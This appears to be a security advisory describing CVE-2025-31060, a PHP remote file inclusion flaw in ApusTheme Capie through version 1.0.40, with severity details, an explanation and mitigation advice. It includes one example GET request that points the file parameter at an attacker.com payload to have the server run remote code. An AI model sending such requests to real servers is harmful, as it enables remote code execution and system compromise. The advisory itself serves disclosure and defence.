Overview
The cybersecurity world is alerted to a significant vulnerability, CVE-2025-31060, that affects ApusTheme Capie, a popular PHP program. This vulnerability arises from an improper control of filename for include/require statement, commonly known as the ‘PHP Remote File Inclusion’. The affected versions range from the initial release to version 1.0.40. The potential consequences of this vulnerability, if exploited, could lead to a complete system compromise or even data leakage, posing a serious threat to the security of any system running the affected versions of the software.
Vulnerability Summary
CVE ID: CVE-2025-31060
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise or Data Leakage
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Product | Affected Versions
ApusTheme Capie | All versions through 1.0.40
How the Exploit Works
The vulnerability stems from the PHP program’s improper control of filename for include/require statement, which leads to a ‘PHP Remote File Inclusion’ vulnerability. This allows an attacker to inject a file from a remote server, which is subsequently executed on the victim’s server. This can occur because the software does not properly sanitize user input, enabling an attacker to manipulate the filename parameter in the include/require statement.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This example showcases a HTTP request where an attacker may insert a malicious payload.
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: victim.example.comIn this scenario, the attacker attempts to get the vulnerable_page.php to include and execute the malicious_file.txt from the attacker’s server.
Mitigation
Affected users are strongly advised to apply the vendor patch once it’s available. As a temporary mitigation measure, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help to prevent exploitation of this vulnerability. These tools can be configured to detect and block attempts of remote file inclusion by filtering out suspicious patterns in the HTTP request.